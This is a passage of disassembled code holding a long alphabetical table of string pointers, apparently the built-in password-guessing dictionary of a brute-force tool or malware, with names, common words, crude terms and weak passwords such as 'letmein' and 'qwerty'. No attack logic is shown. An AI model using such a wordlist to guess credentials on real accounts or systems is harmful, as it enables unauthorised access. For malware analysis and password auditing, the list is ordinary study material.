		dd offset aButthead	; "butthead"
		dd offset aCaliforn	; "californ"
		dd offset aCamille	; "camille"
		dd offset aCampanil	; "campanil"
		dd offset aCamping	; "camping"
		dd offset aCandi	; "candi"
		dd offset aCandy	; "candy"
		dd offset aCantor	; "cantor"
		dd offset aCaptain	; "captain"
		dd offset aCapture	; "capture"
		dd offset aCard		; "card"
		dd offset aCardinal	; "cardinal"
		dd offset aCaren	; "caren"
		dd offset aCarla	; "carla"
		dd offset aCarmen	; "carmen"
		dd offset aCarol	; "carol"
		dd offset aCarole	; "carole"
		dd offset aCarolina	; "carolina"
		dd offset aCaroline	; "caroline"
		dd offset aCarrie	; "carrie"
		dd offset aCarson	; "carson"
		dd offset aCascades	; "cascades"
		dd offset aCash		; "cash"
		dd offset aCastle	; "castle"
		dd offset aCatherin	; "catherin"
		dd offset aCatholic	; "catholic"
		dd offset aCathy	; "cathy"
		dd offset aCave		; "cave"
		dd offset aCayuga	; "cayuga"
		dd offset aCecily	; "cecily"
		dd offset aCelt		; "celt"
		dd offset aCeltic	; "celtic"
		dd offset aCeltics	; "celtics"
		dd offset aCerulean	; "cerulean"
		dd offset aChange	; "change"
		dd offset aCharity	; "charity"
		dd offset aCharles	; "charles"
		dd offset aCharlie	; "charlie"
		dd offset aCharming	; "charming"
		dd offset aCharon	; "charon"
		dd offset aChat		; "chat"
		dd offset aChem		; "chem"
		dd offset aChemistr	; "chemistr"
		dd offset aChess	; "chess"
		dd offset aChester	; "chester"
		dd offset aChip		; "chip"
		dd offset aChris	; "chris"
		dd offset aChristin	; "christin"
		dd offset aChristy	; "christy"
		dd offset aCigar	; "cigar"
		dd offset aCigarett	; "cigarett"
		dd offset aCindy	; "cindy"
		dd offset aClass	; "class"
		dd offset aClasses	; "classes"
		dd offset aClassic	; "classic"
		dd offset aClaudia	; "claudia"
		dd offset aClaymore	; "claymore"
		dd offset aCleavage	; "cleavage"
		dd offset aClinton	; "clinton"
		dd offset aCluster	; "cluster"
		dd offset aClusters	; "clusters"
		dd offset aCoast	; "coast"
		dd offset aCocacola	; "cocacola"
		dd offset aCocainco	; "cocainco"
		dd offset aCock		; "cock"
		dd offset aCode		; "code"
		dd offset aCodename	; "codename"
		dd offset aCodeword	; "codeword"
		dd offset aCoffee	; "coffee"
		dd offset aCoin		; "coin"
		dd offset aCoke		; "coke"
		dd offset aCola		; "cola"
		dd offset aCold		; "cold"
		dd offset aCollins	; "collins"
		dd offset aColor	; "color"
		dd offset aCombat	; "combat"
		dd offset aComics	; "comics"
		dd offset aCommit	; "commit"
		dd offset aCommrade	; "commrade"
		dd offset aCompany	; "company"
		dd offset aComputin	; "computin"
		dd offset aComrade	; "comrade"
		dd offset aComrades	; "comrades"
		dd offset aCondo	; "condo"
		dd offset aCondom	; "condom"
		dd offset aConnect	; "connect"
		dd offset aConnie	; "connie"
		dd offset aConserva	; "conserva"
		dd offset aConsole	; "console"
		dd offset aContinue	; "continue"
		dd offset aCook		; "cook"
		dd offset aCookbook	; "cookbook"
		dd offset aCookie	; "cookie"
		dd offset aCool		; "cool"
		dd offset aCooper	; "cooper"
		dd offset aCopper	; "copper"
		dd offset aCops		; "cops"
		dd offset aCopy		; "copy"
		dd offset aCorneliu	; "corneliu"
		dd offset aCorrect	; "correct"
		dd offset aCounters	; "counters"
		dd offset aCountry	; "country"
		dd offset aCouscous	; "couscous"
		dd offset aCowboy	; "cowboy"
		dd offset aCrack	; "crack"
		dd offset aCrackpot	; "crackpot"
		dd offset aCream	; "cream"
		dd offset aCreate	; "create"
		dd offset aCreation	; "creation"
		dd offset aCreature	; "creature"
		dd offset aCredit	; "credit"
		dd offset aCreosote	; "creosote"
		dd offset aCretin	; "cretin"
		dd offset aCrime	; "crime"
		dd offset aCriminal	; "criminal"
		dd offset aCristina	; "cristina"
		dd offset aCrystal	; "crystal"
		dd offset aCshrc	; "cshrc"
		dd offset aCunt		; "cunt"
		dd offset aCustomer	; "customer"
		dd offset aCyber	; "cyber"
		dd offset aCyberpun	; "cyberpun"
		dd offset aCyberspa	; "cyberspa"
		dd offset aCynthia	; "cynthia"
		dd offset aDaemon	; "daemon"
		dd offset aDaisy	; "daisy"
		dd offset aDana		; "dana"
		dd offset aDancer	; "dancer"
		dd offset aDaniel	; "daniel"
		dd offset aDanielle	; "danielle"
		dd offset aDanny	; "danny"
		dd offset aDapper	; "dapper"
		dd offset aDark		; "dark"
		dd offset aDarkaven	; "darkaven"
		dd offset aData		; "data"
		dd offset aDave		; "dave"
		dd offset aDawn		; "dawn"
		dd offset aDead		; "dead"
		dd offset aDeathsta	; "deathsta"
		dd offset aDebbie	; "debbie"
		dd offset aDeborah	; "deborah"
		dd offset aDebug	; "debug"
		dd offset aDecember	; "december"
		dd offset aDeck		; "deck"
		dd offset aDefault	; "default"
		dd offset aDefault_0	; "DEFAULT"
		dd offset aDefoe	; "defoe"
		dd offset aDelta	; "delta"
		dd offset aDeluge	; "deluge"
		dd offset aDemocrat	; "democrat"
		dd offset aDenise	; "denise"
		dd offset aDennis	; "dennis"
		dd offset aDesiree	; "desiree"
		dd offset aDesk		; "desk"
		dd offset aDesktop	; "desktop"
		dd offset aDesperat	; "desperat"
		dd offset aDevelop	; "develop"
		dd offset aDevice	; "device"
		dd offset aDial		; "dial"
		dd offset aDiamond	; "diamond"
		dd offset aDiana	; "diana"
		dd offset aDiane	; "diane"
		dd offset aDice		; "dice"
		dd offset aDick		; "dick"
		dd offset aDiehard	; "diehard"
		dd offset aDiet		; "diet"
		dd offset aDieter	; "dieter"
		dd offset aDigital	; "digital"
		dd offset aDinosaur	; "dinosaur"
		dd offset aDipshit	; "dipshit"
		dd offset aDirect	; "direct"
		dd offset aDirector	; "director"
		dd offset aDirty	; "dirty"
		dd offset aDisc		; "disc"
		dd offset aDiscipli	; "discipli"
		dd offset aDisclose	; "disclose"
		dd offset aDiscover	; "discover"
		dd offset aDisk_0	; "disk"
		dd offset aDiskette	; "diskette"
		dd offset aDisney	; "disney"
		dd offset aDisplay	; "display"
		dd offset aDoctor	; "doctor"
		dd offset aDollar	; "dollar"
		dd offset aDong		; "dong"
		dd offset aDoom		; "doom"
		dd offset aDoom2	; "doom2"
		dd offset aDoomii	; "doomii"
		dd offset aDoomsday	; "doomsday"
		dd offset aDoonesbu	; "doonesbu"
		dd offset aDoor		; "door"
		dd offset aDoors	; "doors"
		dd offset aDope		; "dope"
		dd offset aDownload	; "download"
		dd offset aDragon	; "dragon"
		dd offset aDrdoom	; "drdoom"
		dd offset aDrive	; "drive"
		dd offset aDrought	; "drought"
		dd offset aDuck		; "duck"
		dd offset aDude		; "dude"
		dd offset aDuelist	; "duelist"
		dd offset aDuke		; "duke"
		dd offset aDulce	; "dulce"
		dd offset aDuncan	; "duncan"
		dd offset aDungeon	; "dungeon"
		dd offset aDyke		; "dyke"
		dd offset aEager	; "eager"
		dd offset aEagle	; "eagle"
		dd offset aEarth	; "earth"
		dd offset aEasier	; "easier"
		dd offset aEasy		; "easy"
		dd offset aEatme	; "eatme"
		dd offset aEcho		; "echo"
		dd offset aEddie	; "eddie"
		dd offset aEdges	; "edges"
		dd offset aEdinburg	; "edinburg"
		dd offset aEdit		; "edit"
		dd offset aEdition	; "edition"
		dd offset aEducation	; "education"
		dd offset aEducatio	; "educatio"
		dd offset aEdwin	; "edwin"
		dd offset aEdwina	; "edwina"
		dd offset aEgghead	; "egghead"
		dd offset aEiderdow	; "eiderdow"
		dd offset aEileen	; "eileen"
		dd offset aEinsiein	; "einsiein"
		dd offset aEinstein	; "einstein"
		dd offset aElaine	; "elaine"
		dd offset aElanor	; "elanor"
		dd offset aElectron	; "electron"
		dd offset aElephant	; "elephant"
		dd offset aElizabet	; "elizabet"
		dd offset aEllen	; "ellen"
		dd offset aEmail	; "email"
		dd offset aEmerald	; "emerald"
		dd offset aEmily	; "emily"
		dd offset aEmmanuel	; "emmanuel"
		dd offset aEnemy	; "enemy"
		dd offset aEngine	; "engine"
		dd offset aEngineer	; "engineer"
		dd offset aEngland	; "england"
		dd offset aEnglish	; "english"
		dd offset aEnter	; "enter"
		dd offset aEnterpri	; "enterpri"
		dd offset aEnzyme	; "enzyme"
		dd offset aErenity	; "erenity"
		dd offset aEric		; "eric"
		dd offset aErica	; "erica"
		dd offset aErika	; "erika"
		dd offset aErin		; "erin"
		dd offset aErotic	; "erotic"
		dd offset aErsatz	; "ersatz"
		dd offset aEstablis	; "establis"
		dd offset aEstate	; "estate"
		dd offset aEternity	; "eternity"
		dd offset aEuclid	; "euclid"
		dd offset aEvelyn	; "evelyn"
		dd offset aExpert	; "expert"
		dd offset aExplode	; "explode"
		dd offset aExplore	; "explore"
		dd offset aExplorer	; "explorer"
		dd offset aExplosiv	; "explosiv"
		dd offset aExtensio	; "extensio"
		dd offset aFairway	; "fairway"
		dd offset aFaith	; "faith"
		dd offset aFalcon	; "falcon"
		dd offset aFalse	; "false"
		dd offset aFamily	; "family"
		dd offset aFarad	; "farad"
		dd offset aFaraday	; "faraday"
		dd offset aFart		; "fart"
		dd offset aFast		; "fast"
		dd offset aFear		; "fear"
		dd offset aFeds		; "feds"
		dd offset aFelicia	; "felicia"
		dd offset aFender	; "fender"
		dd offset aFermat	; "fermat"
		dd offset aFerrari	; "ferrari"
		dd offset aFidelity	; "fidelity"
		dd offset aField	; "field"
		dd offset aFight	; "fight"
		dd offset aFile		; "file"
		dd offset aFinite	; "finite"
		dd offset aFire		; "fire"
		dd offset aFirewall	; "firewall"
		dd offset aFishers	; "fishers"
		dd offset aFlakes	; "flakes"
		dd offset aFloat	; "float"
		dd offset aFlorida	; "florida"
		dd offset aFlower	; "flower"
		dd offset aFlowers	; "flowers"
		dd offset aFood		; "food"
		dd offset aFool		; "fool"
		dd offset aFoolproo	; "foolproo"
		dd offset aFootball	; "football"
		dd offset aForce	; "force"
		dd offset aFord		; "ford"
		dd offset aForesigh	; "foresigh"
		dd offset aForever	; "forever"
		dd offset aForm		; "form"
		dd offset aFormat	; "format"
		dd offset aFornicat	; "fornicat"
		dd offset aForsythe	; "forsythe"
		dd offset aFourier	; "fourier"
		dd offset aFoxtrot	; "foxtrot"
		dd offset aFrance	; "france"
		dd offset aFrank	; "frank"
		dd offset aFreak	; "freak"
		dd offset aFred		; "fred"
		dd offset aFree		; "free"
		dd offset aFreedom	; "freedom"
		dd offset aFrench	; "french"
		dd offset aFriday	; "friday"
		dd offset aFriend	; "friend"
		dd offset aFriends	; "friends"
		dd offset aFrighten	; "frighten"
		dd offset aFrog		; "frog"
		dd offset aFryguy	; "fryguy"
		dd offset aFuck		; "fuck"
		dd offset aFucker	; "fucker"
		dd offset aFucking	; "fucking"
		dd offset aFuckme	; "fuckme"
		dd offset aFuckyou	; "fuckyou"
		dd offset aFudge	; "fudge"
		dd offset aFunction	; "function"
		dd offset aFungible	; "fungible"
		dd offset aGabriel	; "gabriel"
		dd offset aGames	; "games"
		dd offset aGardner	; "gardner"
		dd offset aGarfield	; "garfield"
		dd offset aGateway	; "gateway"
		dd offset aGatherin	; "gatherin"
		dd offset aGatt		; "gatt"
		dd offset aGauss	; "gauss"
		dd offset aGeorge	; "george"
		dd offset aGerm		; "germ"
		dd offset aGertrude	; "gertrude"
		dd offset aGhost	; "ghost"
		dd offset aGibson	; "gibson"
		dd offset aGigabyte	; "gigabyte"
		dd offset aGina		; "gina"
		dd offset aGinger	; "ginger"
		dd offset aGirl		; "girl"
		dd offset aGlacier	; "glacier"
		dd offset aGold		; "gold"
		dd offset aGolden	; "golden"
		dd offset aGolf		; "golf"
		dd offset aGolfer	; "golfer"
		dd offset aGood		; "good"
		dd offset aGorgeous	; "gorgeous"
		dd offset aGorges	; "gorges"
		dd offset aGosling	; "gosling"
		dd offset aGouge	; "gouge"
		dd offset aGovermen	; "govermen"
		dd offset aGrades	; "grades"
		dd offset aGraham	; "graham"
		dd offset aGrahm	; "grahm"
		dd offset aGrand	; "grand"
		dd offset aGrant	; "grant"
		dd offset aGreat	; "great"
		dd offset aGreen	; "green"
		dd offset aGroup	; "group"
		dd offset aGryphon	; "gryphon"
		dd offset aGuardian	; "guardian"
		dd offset aGucci	; "gucci"
		dd offset aGuess	; "guess"
		dd offset aGuitar	; "guitar"
		dd offset aGumption	; "gumption"
		dd offset aGuntis	; "guntis"
		dd offset aHack		; "hack"
		dd offset aHacked	; "hacked"
		dd offset aHagar	; "hagar"
		dd offset aHair		; "hair"
		dd offset aHallowee	; "hallowee"
		dd offset aHamlet	; "hamlet"
		dd offset aHamster	; "hamster"
		dd offset aHandel	; "handel"
		dd offset aHandily	; "handily"
		dd offset aHandjob	; "handjob"
		dd offset aHappenin	; "happenin"
		dd offset aHard		; "hard"
		dd offset aHardcore	; "hardcore"
		dd offset aHarddriv	; "harddriv"
		dd offset aHarmony	; "harmony"
		dd offset aHarold	; "harold"
		dd offset aHarvey	; "harvey"
		dd offset aHate		; "hate"
		dd offset aHaven	; "haven"
		dd offset aHawaii	; "hawaii"
		dd offset aHead		; "head"
		dd offset aHeadbang	; "headbang"
		dd offset aHeat		; "heat"
		dd offset aHeathen	; "heathen"
		dd offset aHeather	; "heather"
		dd offset aHebrides	; "hebrides"
		dd offset aHeidi	; "heidi"
		dd offset aHeinlein	; "heinlein"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aHelp		; "help"
		dd offset aHerb		; "herb"
		dd offset aHerbert	; "herbert"
		dd offset aHero		; "hero"
		dd offset aHeroin	; "heroin"
		dd offset aHewlett	; "hewlett"
		dd offset aHexadeci	; "hexadeci"
		dd offset aHiawatha	; "hiawatha"
		dd offset aHibernia	; "hibernia"
		dd offset aHidden	; "hidden"
		dd offset aHigh		; "high"
		dd offset aHighland	; "highland"
		dd offset aHitler	; "hitler"
		dd offset aHits		; "hits"
		dd offset aHole		; "hole"
		dd offset aHolly	; "holly"
		dd offset aHollywoo	; "hollywoo"
		dd offset aHomepage	; "homepage"
		dd offset aHomer	; "homer"
		dd offset aHomework	; "homework"
		dd offset aHoney	; "honey"
		dd offset aHooker	; "hooker"
		dd offset aHooters	; "hooters"
		dd offset aHorny	; "horny"
		dd offset aHorrible	; "horrible"
		dd offset aHorror	; "horror"
		dd offset aHorse	; "horse"
		dd offset aHorus	; "horus"
		dd offset aHost		; "host"
		dd offset aHotdog	; "hotdog"
		dd offset aHotel	; "hotel"
		dd offset aHttp		; "http"
		dd offset aHunt		; "hunt"
		dd offset aHunter	; "hunter"
		dd offset aHutchins	; "hutchins"
		dd offset aHydrogen	; "hydrogen"
		dd offset aHyper	; "hyper"
		dd offset aHypertxt	; "hypertxt"
		dd offset aIcecream	; "icecream"
		dd offset aIllumina	; "illumina"
		dd offset aImage	; "image"
		dd offset aImbrogli	; "imbrogli"
		dd offset aImmortal	; "immortal"
		dd offset aImperial	; "imperial"
		dd offset aInclude	; "include"
		dd offset aIndia	; "india"
		dd offset aIndian	; "indian"
		dd offset aIndiana	; "indiana"
		dd offset aIndians	; "indians"
		dd offset aIngres	; "ingres"
		dd offset aIngress	; "ingress"
		dd offset aIngrid	; "ingrid"
		dd offset aInna		; "inna"
		dd offset aInnocuou	; "innocuou"
		dd offset aInput	; "input"
		dd offset aInside	; "inside"
		dd offset aInteger	; "integer"
		dd offset aInvent	; "invent"
		dd offset aIrene	; "irene"
		dd offset aIrishman	; "irishman"
		dd offset aIsis		; "isis"
		dd offset aJackie	; "jackie"
		dd offset aJail		; "jail"
		dd offset aJane		; "jane"
		dd offset aJanet	; "janet"
		dd offset aJanice	; "janice"
		dd offset aJanie	; "janie"
		dd offset aJapan	; "japan"
		dd offset aJasmin	; "jasmin"
		dd offset aJava		; "java"
		dd offset aJazz		; "jazz"
		dd offset aJean		; "jean"
		dd offset aJeanne	; "jeanne"
		dd offset aJeff		; "jeff"
		dd offset aJenni	; "jenni"
		dd offset aJennifer	; "jennifer"
		dd offset aJenny	; "jenny"
		dd offset aJerry	; "jerry"
		dd offset aJerusale	; "jerusale"
		dd offset aJessica	; "jessica"
		dd offset aJester	; "jester"
		dd offset aJewelry	; "jewelry"
		dd offset aJill		; "jill"
		dd offset aJixian	; "jixian"
		dd offset aJoanne	; "joanne"
		dd offset aJody		; "jody"
		dd offset aJohn		; "john"
		dd offset aJohndoe	; "johndoe"
		dd offset aJohnny	; "johnny"
		dd offset aJoseph	; "joseph"
		dd offset aJoshua	; "joshua"
		dd offset aJournal	; "journal"
		dd offset aJoyce	; "joyce"
		dd offset aJudith	; "judith"
		dd offset aJudy		; "judy"
		dd offset aJuggle	; "juggle"
		dd offset aJuicy	; "juicy"
		dd offset aJulia	; "julia"
		dd offset aJulie	; "julie"
		dd offset aJuliet	; "juliet"
		dd offset aJune		; "june"
		dd offset aJupiter	; "jupiter"
		dd offset aKaka		; "kaka"
		dd offset aKaren	; "karen"
		dd offset aKarie	; "karie"
		dd offset aKarina	; "karina"
		dd offset aKatana	; "katana"
		dd offset aKate		; "kate"
		dd offset aKathleen	; "kathleen"
		dd offset aKathrine	; "kathrine"
		dd offset aKathy	; "kathy"
		dd offset aKatina	; "katina"
		dd offset aKatrina	; "katrina"
		dd offset aKelly	; "kelly"
		dd offset aKeri		; "keri"
		dd offset aKermit	; "kermit"
		dd offset aKernel	; "kernel"
		dd offset aKerri	; "kerri"
		dd offset aKerrie	; "kerrie"
		dd offset aKerry	; "kerry"
		dd offset aKevin	; "kevin"
		dd offset aKewl		; "kewl"
		dd offset aKeybord	; "keybord"
		dd offset aKeyin	; "keyin"
		dd offset aKeyword	; "keyword"
		dd offset aKids		; "kids"
		dd offset aKill		; "kill"
		dd offset aKillthem	; "killthem"
		dd offset aKilo		; "kilo"
		dd offset aKimberly	; "kimberly"
		dd offset aKing		; "king"
		dd offset aKirk		; "kirk"
		dd offset aKirkland	; "kirkland"
		dd offset aKiss		; "kiss"
		dd offset aKissmyas	; "kissmyas"
		dd offset aKitten	; "kitten"
		dd offset aKlingon	; "klingon"
		dd offset aKnife	; "knife"
		dd offset aKnight	; "knight"
		dd offset aKnightma	; "knightma"
		dd offset aKnown	; "known"
		dd offset aKrista	; "krista"
		dd offset aKristen	; "kristen"
		dd offset aKristi	; "kristi"
		dd offset aKristie	; "kristie"
		dd offset aKristin	; "kristin"
		dd offset aKristine	; "kristine"
		dd offset aKristy	; "kristy"
		dd offset aLadies	; "ladies"
		dd offset aLadle	; "ladle"
		dd offset aLakers	; "lakers"
		dd offset aLambda	; "lambda"
		dd offset aLaminati	; "laminati"
		dd offset aLana		; "lana"
		dd offset aLaptop	; "laptop"
		dd offset aLara		; "lara"
		dd offset aLarkin	; "larkin"
		dd offset aLarry	; "larry"
		dd offset aLaser	; "laser"
		dd offset aLaura	; "laura"
		dd offset aLava		; "lava"
		dd offset aLazarus	; "lazarus"
		dd offset aLazer	; "lazer"
		dd offset aLeah		; "leah"
		dd offset aLebesgue	; "lebesgue"
		dd offset aLeft		; "left"
		dd offset aLeftwing	; "leftwing"
		dd offset aLegal	; "legal"
		dd offset aLeland	; "leland"
		dd offset aLeroy	; "leroy"
		dd offset aLesbian	; "lesbian"
		dd offset aLeslie	; "leslie"
		dd offset aLetmein	; "letmein"
		dd offset aLewis	; "lewis"
		dd offset aLexluthe	; "lexluthe"
		dd offset aLiberal	; "liberal"
		dd offset aLibrary	; "library"
		dd offset aLick		; "lick"
		dd offset aLicker	; "licker"
		dd offset aLife		; "life"
		dd offset aLight	; "light"
		dd offset aLightsab	; "lightsab"
		dd offset aLima		; "lima"
		dd offset aLimbaugh	; "limbaugh"
		dd offset aLimited	; "limited"
		dd offset aLinda	; "linda"
		dd offset aLink		; "link"
		dd offset aLion		; "lion"
		dd offset aLips		; "lips"
		dd offset aLisa		; "lisa"
		dd offset aLisp		; "lisp"
		dd offset aLiteratu	; "literatu"
		dd offset aLive		; "live"
		dd offset aLoad		; "load"
		dd offset aLock		; "lock"
		dd offset aLockout	; "lockout"
		dd offset aLockword	; "lockword"
		dd offset aLogic	; "logic"
		dd offset aLoginwor	; "loginwor"
		dd offset aLogout	; "logout"
		dd offset aLois		; "lois"
		dd offset aLolopc	; "lolopc"
		dd offset aLoose	; "loose"
		dd offset aLore		; "lore"
		dd offset aLori		; "lori"
		dd offset aLorin	; "lorin"
		dd offset aLorraine	; "lorraine"
		dd offset aLoser	; "loser"
		dd offset aLouis	; "louis"
		dd offset aLovebug	; "lovebug"
		dd offset aLover	; "lover"
		dd offset aLuck		; "luck"
		dd offset aLucus	; "lucus"
		dd offset aLucy		; "lucy"
		dd offset aLude		; "lude"
		dd offset aLuke		; "luke"
		dd offset aLust		; "lust"
		dd offset aLynn		; "lynn"
		dd offset aLynne	; "lynne"
		dd offset aMachine	; "machine"
		dd offset aMacintos	; "macintos"
		dd offset aMack		; "mack"
		dd offset aMacro	; "macro"
		dd offset aMaggot	; "maggot"
		dd offset aMagic	; "magic"
		dd offset aMagnet	; "magnet"
		dd offset aMail		; "mail"
		dd offset aMaint	; "maint"
		dd offset aMalcolm	; "malcolm"
		dd offset aMalcom	; "malcom"
		dd offset aMana		; "mana"
		dd offset aManager	; "manager"
		dd offset aMara		; "mara"
		dd offset aMarci	; "marci"
		dd offset aMarcy	; "marcy"
		dd offset aMaria	; "maria"
		dd offset aMariens	; "mariens"
		dd offset aMarietta	; "marietta"
		dd offset aMarijuan	; "marijuan"
		dd offset aMarines	; "marines"
		dd offset aMark		; "mark"
		dd offset aMarkus	; "markus"
		dd offset aMarni	; "marni"
		dd offset aMarriage	; "marriage"
		dd offset aMars		; "mars"
		dd offset aMarty	; "marty"
		dd offset aMarvin	; "marvin"
		dd offset aMary		; "mary"
		dd offset aMason	; "mason"
		dd offset aMaster	; "master"
		dd offset aMath		; "math"
		dd offset aMaurice	; "maurice"
		dd offset aMeagan	; "meagan"
		dd offset aMegabyte	; "megabyte"
		dd offset aMegadeth	; "megadeth"
		dd offset aMegan	; "megan"
		dd offset aMelissa	; "melissa"
		dd offset aMellon	; "mellon"
		dd offset aMelrose	; "melrose"
		dd offset aMember	; "member"
		dd offset aMemory	; "memory"
		dd offset aMenace	; "menace"
		dd offset aMenu		; "menu"
		dd offset aMercury	; "mercury"
		dd offset aMerlin	; "merlin"
		dd offset aMetal	; "metal"
		dd offset aMetalhea	; "metalhea"
		dd offset aMetalica	; "metalica"
		dd offset aMets		; "mets"
		dd offset aMice		; "mice"
		dd offset aMichael	; "michael"
		dd offset aMichel	; "michel"
		dd offset aMichelan	; "michelan"
		dd offset aMichele	; "michele"
		dd offset aMichelle	; "michelle"
		dd offset aMickey	; "mickey"
		dd offset aMicro	; "micro"
		dd offset aMicrochi	; "microchi"
		dd offset aMicropro	; "micropro"
		dd offset aMicrosof	; "microsof"
		dd offset aMidieval	; "midieval"
		dd offset aMike		; "mike"
		dd offset aMine		; "mine"
		dd offset aMinimum	; "minimum"
		dd offset aMinsky	; "minsky"
		dd offset aMisfit	; "misfit"
		dd offset aMission	; "mission"
		dd offset aMkii		; "mkii"
		dd offset aMode		; "mode"
		dd offset aModem	; "modem"
		dd offset aMogul	; "mogul"
		dd offset aMoguls	; "moguls"
		dd offset aMonday	; "monday"
		dd offset aMonica	; "monica"
		dd offset aMoom		; "moom"
		dd offset aMoor		; "moor"
		dd offset aMoose	; "moose"
		dd offset aMore		; "more"
		dd offset aMorley	; "morley"
		dd offset aMorris	; "morris"
		dd offset aMortal	; "mortal"
		dd offset aMortalco	; "mortalco"
		dd offset aMortgage	; "mortgage"
		dd offset aMosaic	; "mosaic"
		dd offset aMountain	; "mountain"
		dd offset aMouse	; "mouse"
		dd offset aMove		; "move"
		dd offset aMovie	; "movie"
		dd offset aMovies	; "movies"
		dd offset aMozart	; "mozart"
		dd offset aMpeg		; "mpeg"
		dd offset aMsdos	; "msdos"
		dd offset aMuppets	; "muppets"
		dd offset aMutant	; "mutant"
		dd offset aNagel	; "nagel"
		dd offset aName		; "name"
		dd offset aNancy	; "nancy"
		dd offset aNapoleon	; "napoleon"
		dd offset aNasa		; "nasa"
		dd offset aNavy		; "navy"
		dd offset aNepenthe	; "nepenthe"
		dd offset aNeptune	; "neptune"
		dd offset aNess		; "ness"
		dd offset aNetscape	; "netscape"
		dd offset aNetwork_0	; "network"
		dd offset aNewborn	; "newborn"
		dd offset aNews		; "news"
		dd offset aNewsgrou	; "newsgrou"
		dd offset aNewton	; "newton"
		dd offset aNewyork	; "newyork"
		dd offset aNext		; "next"
		dd offset aNice		; "nice"
		dd offset aNicole	; "nicole"
		dd offset aNicotine	; "nicotine"
		dd offset aNight	; "night"
		dd offset aNightmar	; "nightmar"
		dd offset aNintendo	; "nintendo"
		dd offset aNita		; "nita"
		dd offset aNnaacp	; "nnaacp"
		dd offset aNoble	; "noble"
		dd offset aNobody	; "nobody"
		dd offset aNode		; "node"
		dd offset aNoreen	; "noreen"
		dd offset aNotes	; "notes"
		dd offset aNoth		; "noth"
		dd offset aNova		; "nova"
		dd offset aNovel	; "novel"
		dd offset aNovember	; "november"
		dd offset aNoxious	; "noxious"
		dd offset aNuclear	; "nuclear"
		dd offset aNude		; "nude"
		dd offset aNuke		; "nuke"
		dd offset aNukem	; "nukem"
		dd offset aNull_1	; "null"
		dd offset aNumber	; "number"
		dd offset aNutritio	; "nutritio"
		dd offset aNuts		; "nuts"
		dd offset aNyquist	; "nyquist"
		dd offset aObscurit	; "obscurit"
		dd offset aOceanogr	; "oceanogr"
		dd offset aOcelot	; "ocelot"
		dd offset aOffice	; "office"
		dd offset aOkay		; "okay"
		dd offset aOldage	; "oldage"
		dd offset aOlivetti	; "olivetti"
		dd offset aOlivia	; "olivia"
		dd offset aOmega	; "omega"
		dd offset aOpen		; "open"
		dd offset aOpening	; "opening"
		dd offset aOpenlock	; "openlock"
		dd offset aOpensesa	; "opensesa"
		dd offset aOperator	; "operator"
		dd offset aOrca		; "orca"
		dd offset aOrient	; "orient"
		dd offset aOrwell	; "orwell"
		dd offset aOscar	; "oscar"
		dd offset aOsiris	; "osiris"
		dd offset aOutdoors	; "outdoors"
		dd offset aOutlaw	; "outlaw"
		dd offset aOutput	; "output"
		dd offset aOutside	; "outside"
		dd offset aOxford	; "oxford"
		dd offset aPacific	; "pacific"
		dd offset aPackard	; "packard"
		dd offset aPacker	; "packer"
		dd offset aPainless	; "painless"
		dd offset aPaint	; "paint"
		dd offset aPakistan	; "pakistan"
		dd offset aPamela	; "pamela"
		dd offset aPapa		; "papa"
		dd offset aPaper	; "paper"
		dd offset aPapers	; "papers"
		dd offset aPascal	; "pascal"
		dd offset aPassphra	; "passphra"
		dd offset aPaste	; "paste"
		dd offset aPatricia	; "patricia"
		dd offset aPatriot	; "patriot"
		dd offset aPatty	; "patty"
		dd offset aPaula	; "paula"
		dd offset aPeanuts	; "peanuts"
		dd offset aPecker	; "pecker"
		dd offset aPencil	; "pencil"
		dd offset aPenelope	; "penelope"
		dd offset aPenguin	; "penguin"
		dd offset aPenis	; "penis"
		dd offset aPenname	; "penname"
		dd offset aPentagon	; "pentagon"
		dd offset aPentagra	; "pentagra"
		dd offset aPenthous	; "penthous"
		dd offset aPentium	; "pentium"
		dd offset aPeoria	; "peoria"
		dd offset aPepper	; "pepper"
		dd offset aPercolat	; "percolat"
		dd offset aPerfect	; "perfect"
		dd offset aPermit	; "permit"
		dd offset aPersimmo	; "persimmo"
		dd offset aPersona	; "persona"
		dd offset aPervert	; "pervert"
		dd offset aPete		; "pete"
		dd offset aPeter	; "peter"
		dd offset aPhil		; "phil"
		dd offset aPhilip	; "philip"
		dd offset aPhoenix	; "phoenix"
		dd offset aPhone	; "phone"
		dd offset aPhoton	; "photon"
		dd offset aPhrack	; "phrack"
		dd offset aPhrase	; "phrase"
		dd offset aPhreak	; "phreak"
		dd offset aPhuck	; "phuck"
		dd offset aPick		; "pick"
		dd offset aPierre	; "pierre"
		dd offset aPimp		; "pimp"
		dd offset aPinname	; "pinname"
		dd offset aPiss		; "piss"
		dd offset aPizza	; "pizza"
		dd offset aPlane	; "plane"
		dd offset aPlayboy	; "playboy"
		dd offset aPlover	; "plover"
		dd offset aPluto	; "pluto"
		dd offset aPlymouth	; "plymouth"
		dd offset aPoetry	; "poetry"
		dd offset aPolice	; "police"
		dd offset aPolly	; "polly"
		dd offset aPolynomi	; "polynomi"
		dd offset aPonderin	; "ponderin"
		dd offset aPoop		; "poop"
		dd offset aPoor		; "poor"
		dd offset aPork		; "pork"
		dd offset aPorn		; "porn"
		dd offset aPorno	; "porno"
		dd offset aPorsche	; "porsche"
		dd offset aPost		; "post"
		dd offset aPoster	; "poster"
		dd offset aPower	; "power"
		dd offset aPraise	; "praise"
		dd offset aPrecious	; "precious"
		dd offset aPrelude	; "prelude"
		dd offset aPresto	; "presto"
		dd offset aPrince	; "prince"
		dd offset aPrinceto	; "princeto"
		dd offset aPrinter	; "printer"
		dd offset aPriv		; "priv"
		dd offset aPrivate	; "private"
		dd offset aPrivs	; "privs"
		dd offset aProceed	; "proceed"
		dd offset aProcesso	; "processo"
		dd offset aProfesso	; "professo"
		dd offset aProfile	; "profile"
		dd offset aProgram	; "program"
		dd offset aPrompt	; "prompt"
		dd offset aProtect	; "protect"
		dd offset aProtozoa	; "protozoa"
		dd offset aPsycho	; "psycho"
		dd offset aPsychopa	; "psychopa"
		dd offset aPublic	; "public"
		dd offset aPuck		; "puck"
		dd offset aPuke		; "puke"
		dd offset aPumpkin	; "pumpkin"
		dd offset aPuneet	; "puneet"
		dd offset aPunisher	; "punisher"
		dd offset aPunk		; "punk"
		dd offset aPuppet	; "puppet"
		dd offset aPussy	; "pussy"
		dd offset aQuebec	; "quebec"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
		dd offset aRabbit	; "rabbit"
		dd offset aRachel	; "rachel"
		dd offset aRachelle	; "rachelle"
